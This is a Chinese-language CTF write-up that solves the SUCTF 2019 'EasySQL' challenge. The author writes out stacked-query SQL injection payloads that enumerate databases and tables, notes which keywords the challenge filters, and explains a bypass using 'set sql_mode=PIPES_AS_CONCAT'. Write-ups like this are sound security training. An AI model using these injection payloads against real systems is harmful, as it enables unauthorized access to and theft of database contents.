[SUCTF 2019]EasySQL

照旧,一边做一边写。

开题

image-20200321150131228

payload :1

返回: Array ( [0] => 1 )

payload:1,2,3,4

返回: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 1 )

可以看出有个规律,最后一位不会正常显示但前面可以显示。于是:

payload:database(),2

返回: Array ( [0] => ctf [1] => 1 )

payload:1;show databases;#

返回:Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

有可能是目标的数据库:ctf ,ctftraining ,test

payload:1;show tables;#

返回: Array ( [0] => 1 ) Array ( [0] => Flag )

payload:1;select * from Flag;#

返回: Nonono.

image-20200321150630425

然后确认了一下过滤了Flag和from,但没过捋select。

随后的一系列尝试发现过滤了handler,PREPARE。

也就是说,handler不能用了,而如果我要用预处理的话,需要有能代替prepare的方法。

而且from也不能出现。

梳理一下思路,根据当前的情况推测语句的模样,因为可以用1,2,3这种方式返回123,说明我们传的参数是在select的位置。而根据tables和database的结果得知我们当前查询的就是Flag表,也就是语句形态为:

select [payload] from Flag;

?????那我岂不是传个*,2就能拿到flag了。

image-20200321153220896

flag{cbde499c-466b-40f4-96b0-a58712f293f9}

( ゚∀。)整乐了。

是个Bug

翻看了write up,得知我的方式根本没达到训练效果。这超预期的解法在比赛当时也出现了,有的说是因为源码泄露知道的,有的是像我这样试出来的。

这样讲的话我其实应该在第二次传payload的时候就应该发现这个问题。

脑子太死怎么办?在线等。

看write up

找了几个writeup,我看的writeup说的很简单,就一句话就完事了:

1;set sql_mode=PIPES_AS_CONCAT;select 1

看着有点难以理解。实际问题在于为什么要用中间那个语句。

想到在上文中有一个比较奇怪的地方没有提及,那就是无论查什么,最后一个数据返回的都是1。

验证了一下,这实际上符合‘OR’运算的规律:

select 'xxx' or 0; //结果:0
select 'xxx' or 1; //结果:1
select 1 or 0; //结果:1

可以看出,两个操作数里,0和非数值为假,1为真。所以我们大致可以判断出题目真正的语句是这样的:

select [‘param’] OR ?? from Flag

由于我们如果传入0,也会返回0,所以??位置要么是0要么是字符串。在本题中,??的地方是字段名flag,也就是说通过payload里的语句将||功能从‘or’运算改成了连接字符串,如此就会使每次查询中将flag一并查出。

根据答案,可以猜想这道题真正的意思是想让玩家通过发现规律想到存在or运算,并猜测or运算是由||代替的。从而能尝试用修改||功能的方法得到flag。如果这个猜想正确,那真题可真刁钻。。